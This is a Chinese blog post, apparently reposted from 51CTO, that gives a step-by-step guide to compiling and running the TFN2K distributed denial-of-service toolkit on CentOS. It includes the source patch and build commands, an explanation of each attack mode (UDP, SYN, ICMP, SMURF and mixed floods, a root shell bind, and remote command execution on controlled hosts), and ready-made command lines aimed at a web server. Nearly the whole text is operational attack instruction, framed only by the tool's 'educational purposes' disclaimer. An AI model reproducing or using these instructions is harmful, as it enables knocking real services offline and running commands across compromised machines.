天天看点

linux 实现ddos

实验环境

centos-5.5

实验软件

tfn2k.tgz

配置软件

tar zxvf tfn2k.tgz

cd tfn2k

vim src/ip.h

找到  124 struct in_addr

     125   {

     126     unsigned long int s_addr;

     127   };

改为  124 /*struct in_addr

     127   }; */

make         安装

make[1]: Entering directory `/root/tfn2k/src'

gcc -Wall -O3    disc.c   -o disc

disc.c: In function ‘main’:

disc.c:24: warning: implicit declaration of function ‘exit’

disc.c:24: warning: incompatible implicit declaration of built-in function ‘exit’

./disc

This program is distributed for educational purposes and without any

explicit or implicit warranty; in no event shall the author or contributors

be liable for any direct, indirect or incidental damages arising in any way

out of the use of this software.

I hereby certify that I will not hold the author liable for any wanted

or unwanted effects caused by this program and that I will give the author

full credit and exclusively use this program for educational purposes.

Do you agree to this disclaimer [y/n]? y

gcc -Wall -O3    mkpass.c   -o mkpass

./mkpass

server key [8 - 32 chars]:   输入8位密码

cd /root/tfn2k

./tfn                        如果看到这个,证明按住成功了

使用范例

-f 这个参数后面跟刚才所写的文本文件名,就是真正实现DDOS攻击,而不是DOS

-h DOS攻击,也就是单机,一对一的攻击 后面跟一个主机或IP地址

-p 后面指定一个端口,不用说了

-c 最关键的参数,一共有11个选相

0 - 停止攻击,发善心用的

1 反欺骗等级设定 ,的TFN这个工具在攻击的时候所发出的数据包是带有源地址的,但是源地址是随机的,也就是说地址不是你自给的

2 改编数据包的包尺寸:缺省的ICMP/8,smurf,udp攻击缺省使用最小包,你可以通过改变每个包的有效载荷的字节增加它的大小

3 绑定root shell:启动的个会话服务的然后你连接的个指定端口就可以得到的个root shell

4 UDP洪水攻击:这个攻击是利用这样的个事实:每个udp包被送往的个关闭的端口的这样就会有的个ICMP不可到达的信息返回的增加了攻击的能力

5 SYN洪水攻击:这个攻击有规律的送虚假的连接请求,结果会是目标端口拒绝服务的添瞒TCP连接表的通过对不存在主机的TCP/RST响应增加攻击潜力,是标准的拒绝服务攻击.

6 ICMP响应(ping)攻击:这个攻击发送虚假地址的ping请求的目标主机会回送相同大小的响应包

7 SMURF攻击:用目标主机的地址发送ping请求以广播扩大的这样目标主机将得到回复的个多倍的回复

8 MIX攻击:按照1:1:1的关系交替的发送udp,syn,icmp包的这样就可以对付路由器的其它包转发设备的NIDS,sn的fers等,轮番轰炸:)

9 TARGA3攻击

10 远程命令执行,这个参数是TFN的附加功能,其实TFN的攻击不仅仅是DOS,还可以远程的进行明令控制,如:

./tfn -f hostext -c 10 -i "mkdir /root/edison" 在所有的HOST上root家目录建立edison,-i后面跟"命令"

./tfn -f hostext -c 4 -i www.xxx.com

hostext文件中记录的主机对163服务器进行UDP攻击(所有的主机中必需已经起动td进程)

./tfn -f hostext -c 5 -i www.xxx.com -p 80

使用hostext文件中记录的主机对163服务器进行TCP拒绝服务攻击(80攻击WEB,其他不用说了)

./tfn -f hostext -c 6 -i www.xxx.com

使用hostext文件中记录的主机对163服务器进行ICMP攻击(PING攻击,缓冲区溢出马上死机)

./tfn -f hostext -c 8 -i www.xxx.com

使用hostext文件中记录的主机对163服务器进行ICMP&TCP&UDP轮番攻击

./tfn -f hostext -c 0

让所由主机停止攻击

本文转自 mailfile 51CTO博客,原文链接:http://blog.51cto.com/mailfile/1330181,如需转载请自行联系原作者

继续阅读